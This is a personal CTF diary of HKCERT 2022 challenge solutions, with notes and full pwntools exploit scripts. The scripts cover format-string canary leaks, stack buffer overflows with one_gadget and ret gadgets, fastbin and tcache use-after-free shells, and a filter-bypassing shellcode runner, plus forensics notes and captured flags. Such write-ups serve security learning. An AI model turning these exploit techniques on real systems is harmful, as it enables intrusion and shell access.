Page Menu
Home
desp's stash
Search
Configure Global Search
Log In
Files
F374808
hkcert22.md
No One
Temporary
Actions
Download File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Flag For Later
Size
10 KB
Subscribers
None
hkcert22.md
View Options
###
echo
format
string
leak
and
format
string
overwrite
https
:
//hackmd.io/@blackb6a/hkcert-ctf-2022-i-en-3f8a9ef6#%E6%B2%99%E7%94%B0%E5%A4%A7%E6%9C%83%E5%A0%82--echo-Pwn
then
buffer
overflow
with
scanf
and
flag
had
to
relearn
how
`
%
n
`
work
for
a
bit
lmao
forgot
from
maplectf
alr
`
hkcert22
{
d0_U_KNOW_fmt_str1ng_att4ck
}
`
```
py
from
pwn
import
*
from
pwnlib
.
util
.
packing
import
*
io
=
remote
(
'
chal
.
hkcert22
.
pwnable
.
hk
'
,
28037
)
#
io
=
process
(
'
chall
'
)
elf
=
ELF
(
'
./
chall
'
)
#
leak
canary
payload0
=
b
'
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
%
p
||%
p
'
io
.
sendlineafter
(
b
'
Input
:\
n
'
,
payload0
)
#
import
time
#
time
.
sleep
(
5
)
#
now
the
canary
is
leak
on
screen
,
script
to
get
the
canary
value
canary
=
int
(
io
.
recvline
().
split
(
b
'
||
'
)[
1
],
16
)
#
leak
address
payload1
=
b
'
%
p
'
io
.
sendlineafter
(
b
'
Input
:\
n
'
,
payload1
)
#
now
the
address
is
leak
on
screen
,
script
to
get
the
leaked
address
leaked_address
=
int
(
io
.
recvline
(),
16
)
pie_base
=
leaked_address
-
(
0x563bab54d061
-
0x0000563BAB54B000
)
canLeave
=
pie_base
+
elf
.
symbols
[
'
can_leave
'
]
getShell
=
pie_base
+
elf
.
symbols
[
'
get_shell
'
]
#
overwrite
canLeave
to
non
-
Zero
io
.
sendlineafter
(
b
'
Input
:\
n
'
,
b
'A'
*
8
+
p64
(
canLeave
))
#
i
still
cant
figure
out
how
to
read
from
stack
in
the
same
payload
sadge
gotta
ask
jason
again
payload2
=
b
'
A
%
7
$
n
'
io
.
sendlineafter
(
b
'
Input
:\
n
'
,
payload2
)
#
Calling
system
(
in
get_shell
function
)
requires
stack
be
aligned
.
#
Add
ret_gadget
(
to
add
rsp
by
8
)
before
calling
get_shell
to
align
the
stack
.
ret_gadget
=
getShell
+
25
len_of_input_before_canary
=
0x68
payload3
=
(
b
'a'
*
len_of_input_before_canary
)
+
p64
(
canary
)
+
p64
(
0
)
+
p64
(
ret_gadget
)
+
p64
(
getShell
)
print
(
payload3
)
io
.
sendlineafter
(
b
'
:\
n
'
,
payload3
)
io
.
sendlineafter
(
b
'
:\
n
'
,
b
'
--
'
)
io
.
interactive
()
```
###
echo2
puts
no
null
terminator
leak
need
to
leak
canary
libc
and
pie
pie
and
canary
reachable
since
buffer
16
bytes
bigger
than
needed
,
but
libc
out
of
range
that
is
until
i
realized
the
buffer
wasnt
initialized
to
0
and
had
libc
addresses
in
it
already
lmao
buffer
overflow
,
ret
to
one
gadget
and
flag
`
hkcert22
{
A_51NNple_pWn_f0r_w4rm_UP
}
`
```
py
from
pwn
import
*
from
pwnlib
.
util
.
packing
import
*
io
=
remote
(
'
chal
.
hkcert22
.
pwnable
.
hk
'
,
28045
)
#
io
=
process
(
'
echo2
'
)
elf
=
ELF
(
'
./
echo2
'
)
io
.
sendafter
(
b
'
Input
:\
n
'
,
b
'A'
*
8
)
libc
=
int
.
from_bytes
(
io
.
recvline
()[
8
:
14
],
byteorder
=
'
little
'
)
-
(
ELF
(
'
./
libc
-
2.31
.
so
'
).
symbols
[
'
_IO_2_1_stdout_
'
])
print
(
"libc base:"
,
hex
(
libc
))
io
.
sendafter
(
b
'
Input
:\
n
'
,
b
'A'
*
105
)
next
=
io
.
recvline
()
canary
=
b
'\0'
+
next
[
105
:
104
+
8
]
#
canaries
always
have
lower
byte
being
00
print
(
"canary:"
,
canary
.
hex
())
stack
=
int
.
from_bytes
(
next
[
104
+
8
:
104
+
14
],
byteorder
=
'
little
'
)
-
(
0x7FFEFE44FFA0
-
0x7FFEFE44FF10
)
#
base
of
buffer
;
ignore
the
last
2
bytes
since
its
always
00
print
(
"stack:"
,
hex
(
stack
))
import
time
time
.
sleep
(
8
)
io
.
sendafter
(
b
'
Input
:\
n
'
,
b
'A'
*
104
+
b
'A'
*
16
)
#
cant
send
canary
yet
but
doesnt
matter
pie
=
int
.
from_bytes
(
io
.
recvline
()[
104
+
16
:
104
+
22
],
byteorder
=
'
little
'
)
-
0x12DE
#
again
ignore
the
last
bytes
print
(
"pie:"
,
hex
(
pie
))
#
from
one_gadget
sh
=
libc
+
0xe6c81
io
.
sendafter
(
b
'
Input
:\
n
'
,
b
'A'
*
104
+
canary
+
b
'A'
*
8
+
p64
(
sh
))
#
cant
send
canary
yet
but
doesnt
matter
io
.
sendafter
(
b
'
Input
:\
n
'
,
b
'
--\
0
'
)
io
.
interactive
()
```
###
clipboard
volatility
clipboard
(
`
./
vol
.
py
-
f
"Windows 7 x64.mem"
--
profile
=
Win7SP1x64
clipboard
`
)
got
not
much
data
so
`
-
v
`
originally
thought
its
broken
coz
volatility
freezes
but
then
a
huge
chunk
of
text
got
spewed
out
searching
gives
rtf
headers
copy
bytes
,
write
to
file
with
python
,
get
flag
in
image
after
opening
the
rtf
file
`
hkcert22
{
f0r3ns1c_1s_fun_t0_pl4y_w1th
}
`
###
uaf
learn
glibc
fastbin
on
the
fly
realize
user
controlled
malloc
can
screw
up
bin
stack
to
reuse
animal
chunk
overwrite
with
get_shell
and
uaf
to
get
shell
`
hkcert22
{
w3L1C0me_70_World_0f_pwN_h34P_z0o
}
`
```
py
from
pwn
import
*
#
p
=
process
([
'
strace
'
,
'
./
zoo
'
])
#
p
=
process
([
'
ld
'
,
'
--
library
-
path
'
,
'.'
,
'
./
zoo
'
])
#
p
=
process
(
'
./
zoo
'
)
p
=
remote
(
'
chal
.
hkcert22
.
pwnable
.
hk
'
,
28235
)
g
=
cyclic_gen
()
#
the
chunk
we
wanna
uaf
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'
24
'
)
p
.
sendlineafter
(
'
>
'
,
b
'
abcd
'
*(
24
//4))
#
put
another
chunk
onto
LIFO
fastbin
with
name
not
in
the
same
bin
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'
32
'
)
p
.
sendlineafter
(
'
>
'
,
b
'
efgh
'
*(
32
//4))
#
free
the
chunk
for
uaf
#
now
in
0x18
bin
:
#
name0
#
animal0
#(
other
bins
are
empty
)
p
.
sendlineafter
(
'
>
'
,
b
'2'
)
p
.
sendlineafter
(
'
>
'
,
b
'0'
)
#
free
the
chunk
for
screwing
up
the
bin
#
now
in
0x18
bin
:
#
name0
#
animal0
#
animal1
#
in
it
in
order
(
bottom
is
last
in
)
#
now
in
0x20
bin
:
#
name1
p
.
sendlineafter
(
'
>
'
,
b
'2'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
#
now
we
can
reuse
the
other
animal
'
s
chunk
AND
the
uaf
chunk
since
we
are
looking
at
the
0x18
bin
#
since
if
you
look
above
its
double
animal
on
the
LIFO
bin
when
we
pop
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'
24
'
)
p
.
sendlineafter
(
'
>
'
,
p64
(
0x401276
)+
b
'a'
*
16
)
#
import
time
#
time
.
sleep
(
8
)
#
trigger
uaf
p
.
sendlineafter
(
'
>
'
,
b
'3'
)
p
.
sendlineafter
(
'
>
'
,
b
'0'
)
p
.
interactive
()
```
###
stop
peeping
mpeg
-
ts
use
plugin
to
dump
realize
a
part
of
it
is
corrupt
opening
spectrogram
in
sonic
visualizer
gives
nothing
either
give
up
realize
its
2
mpeg
-
ts
streams
after
coming
back
extract
the
shorter
non
rickroll
one
and
open
it
in
spectrogram
yay
flag
`
hkcert22
{
n3v3r_g0nn4_g1v3_y0u_up_3xtr4ct_mp3_fr0m_pcap
}
`
###
jumping
fish
wireshark
pcap
(
i
think
i
just
looked
at
strings
actually
but
shh
lmao
)
see
noise
encryption
format
search
up
noise
understand
how
noise
works
search
up
snow
find
snow
::
Builder
(
example
from
docs
)
realize
psk
is
static
and
keypair
isnt
reimplement
in
python
didnt
work
so
try
responder
and
initiator
mode
all
fails
realize
packet
has
length
field
that
python
noise
didnt
implement
(
talking
with
harrier
tells
me
its
not
related
to
snow
)
implement
that
too
obtain
payload
from
[@
kaiziron
](
https
:
//ctftime.org/user/92369) for `fiddle crab` which didnt work for this somehow but at least the response tells me my encryption and handshake stuff is implemented correctly
tried
nextchessmove
.
com
,
even
more
confusion
eventually
realized
state
is
`
0
1
`
at
the
end
,
turn
is
`
b
/
w
`
near
the
end
send
[@
kaiziron
](
https
:
//ctftime.org/user/92369)'s payload with the right turn and win flag
`
hkcert22
{
t0o
-
much
-
n01s33333
-
d0
-
u_u3e_d3bugggg3r
-
0
r
-
p33k
-
in70
-
n01s3
?}
`
yes
i
peek
into
the
noise
:
sunglasses
:
```
py
from
pwn
import
*
from
noise
.
connection
import
NoiseConnection
,
Keypair
from
itertools
import
cycle
from
cryptography
.
hazmat
.
primitives
.
asymmetric
import
x25519
from
cryptography
.
hazmat
.
primitives
import
serialization
p
=
remote
(
'
chal
.
hkcert22
.
pwnable
.
hk
'
,
28147
)
#
p
.
recvuntil
(
b
'
\
0
\
x25
'
)
p
.
recvuntil
(
b
"Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s"
)
#
Create
instance
of
NoiseConnection
,
set
up
to
use
NN
handshake
pattern
,
Curve25519
for
#
elliptic
curve
keypair
,
ChaCha20Poly1305
as
cipher
function
and
SHA256
for
hashing
.
proto
=
NoiseConnection
.
from_name
(
b
'
Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s
'
)
kp
=
x25519
.
X25519PrivateKey
.
generate
()
proto
.
set_keypair_from_private_bytes
(
Keypair
.
STATIC
,
private_bytes
=
kp
.
private_bytes
(
serialization
.
Encoding
.
Raw
,
serialization
.
PrivateFormat
.
Raw
,
serialization
.
NoEncryption
()))
#
from
rust
snow
impl
-
generate
keypair
so
i
generated
,
psk
is
static
key
,
initiator
mode
proto
.
set_psks
(
b
'
lol_what_is_this_secret_thing
??!
'
)
proto
.
set_as_initiator
()
proto
.
start_handshake
()
p
.
send
(
b
'
\
0
\
x30
'
)
#
need
size
apparently
which
isnt
implemented
in
this
library
but
is
in
snow
?
p
.
send
(
proto
.
write_message
())
p
.
recvn
(
2
)
#
recv
size
and
discard
proto
.
read_message
(
p
.
recv
(
2048
,
timeout
=
0.5
))
p
.
send
(
b
'
\
0
\
x40
'
)
p
.
send
(
proto
.
write_message
())
#
while
True
:
#
fen
=
input
().
encode
().
strip
()
#
cant
send
newline
either
fen
=
b
'
7
k
/
6
Q1
/
8
/
8
/
5
P2
/
6
R1
/
PPPPP1PP
/
RNB1KBN1
b
Q
-
0
1
'
#
seems
like
they
only
track
current
round
and
whose
turn
?
print
(
fen
)
msg
=
proto
.
encrypt
(
fen
)
p
.
send
(
len
(
msg
).
to_bytes
(
2
,
byteorder
=
'
big
'
))
p
.
send
(
msg
)
p
.
recvn
(
2
)
#
recv
length
print
(
proto
.
decrypt
(
p
.
recv
()))
```
###
weeepark
uaf2
learn
tcache
on
the
fly
realize
its
only
7
chunks
long
(
which
means
if
we
overflow
to
fastbin
after
that
we
get
an
odd
number
that
we
can
overwrite
with
)
no
`
get_shell
`
anymore
,
so
need
to
somehow
get
shell
one
gadget
is
hard
to
use
coz
no
libc
address
can
use
system
in
plt
(
no
PIE
),
but
need
sh
string
in
rdi
which
means
we
need
to
leak
heap
chunk
address
to
get
sh
string
that
we
write
ourselves
which
is
conveniently
also
in
the
binary
with
no
PIE
(
zoo
struct
global
var
)
debugger
to
figure
out
the
pointers
and
chunks
that
got
overwriten
,
inject
as
found
shell
and
flag
woo
`
hkcert22
{
zoo_z00_z0o_ZO0_ZoO_z11
}
`
```
py
from
pwn
import
*
from
one_gadget
import
generate_one_gadget
context
.
binary
=
ELF
(
'
./
zoo2
'
)
#
p
=
process
([
'
strace
'
,
'
./
zoo2
'
])
#
p
=
process
(
'
./
zoo2
'
)
p
=
remote
(
'
chal
.
hkcert22
.
pwnable
.
hk
'
,
28236
)
g
=
cyclic_gen
()
def
alloc
():
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendafter
(
'
>
'
,
b
'
abcd
'
*(
0x18
//4))
def
free
(
i
):
p
.
sendlineafter
(
'
>
'
,
b
'2'
)
p
.
sendlineafter
(
'
>
'
,
str
(
i
).
encode
())
#
alloc
enough
chunks
for
i
in
range
(
10
):
alloc
()
#
exhaust
tcache
for
i
in
range
(
9
):
free
(
i
)
#
leak
heap
payload
from
known
address
(
our
binary
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendafter
(
'
>
'
,
p64
(
0x401276
)+
b
'a'
*
8
+
p64
(
0x4040C8
+
8
*
1
))
#
get
our
payload
'
s
heap
addr
-
1
st
element
should
be
pointing
at
our
system
payload
to
be
added
p
.
sendlineafter
(
'
>
'
,
b
'3'
)
p
.
sendlineafter
(
'
>
'
,
b
'2'
)
p
.
recvuntil
(
'
added
to
zone
10
'
)
p
.
recvuntil
(
'
(
0
-
9
)\
n
'
)
p
.
recvuntil
(
'
:
'
)
addr
=
int
.
from_bytes
(
p
.
recvline
().
strip
(),
byteorder
=
'
little
'
)
print
(
"ADDR"
,
hex
(
addr
))
#
system
payload
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
sendafter
(
'
>
'
,
p64
(
0x401120
)+
b
'
sh
\
0
'
+
b
'a'
*
5
+
p64
(
addr
+
8
))
#
get
our
payload
'
s
heap
addr
offset
by
8
for
the
system
pointer
#
import
time
#
time
.
sleep
(
8
)
#
trigger
uaf
p
.
sendlineafter
(
'
>
'
,
b
'3'
)
p
.
sendlineafter
(
'
>
'
,
b
'1'
)
p
.
interactive
()
```
###
shellcode
runner
2
give
up
after
realizing
all
existing
upper
encoders
are
x86
only
come
back
near
the
end
of
the
ctf
to
realize
the
upper
check
function
loops
through
with
strlen
but
uses
`
read
`
to
read
bytes
from
stdin
,
which
means
we
can
null
terminate
and
then
still
run
the
non
alphanumeric
payload
at
the
end
find
a
sequence
of
instructions
that
works
with
null
bytes
-
`
add
BYTE
PTR
[
rax
],
al
`
is
exactly
`
00
00
`
and
is
basically
a
nop
coz
rax
has
`
0x1337000
`
which
is
a
valid
readable
address
flag
`
hkcert22
{
d41d8cd98f00b204e9800998ecf8427e33a
}
`
```
py
from
pwn
import
*
from
pwnlib
.
encoders
.
encoder
import
*
import
pwnlib
.
shellcraft
context
.
binary
=
ELF
(
'
./
shellrunner
'
)
payload
=
shellcraft
.
sh
()
print
(
payload
)
#
p
=
context
.
binary
.
process
()
p
=
remote
(
'
chal
.
hkcert22
.
pwnable
.
hk
'
,
28130
)
#
import
time
#
time
.
sleep
(
7
)
#
prepend
add
BYTE
PTR
[
rax
],
al
which
does
nothing
since
rax
is
at
a
valid
readable
address
and
we
overwrite
afterwards
anyway
#
this
breaks
the
upper
check
since
that
iterates
over
the
string
with
strlen
()
and
we
used
read
to
read
from
stdin
which
aint
affected
p
.
send
(
b
'
\
0
\
0
'
+
asm
(
payload
))
p
.
interactive
()
```
File Metadata
Details
Attached
Mime Type
text/x-python
Expires
Mon, Aug 4, 9:30 PM (17 h, 55 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
02/1f/eb773d4a6c7caed8e3ff91221dc8
Attached To
rCTFD CTF diary
Event Timeline
Log In to Comment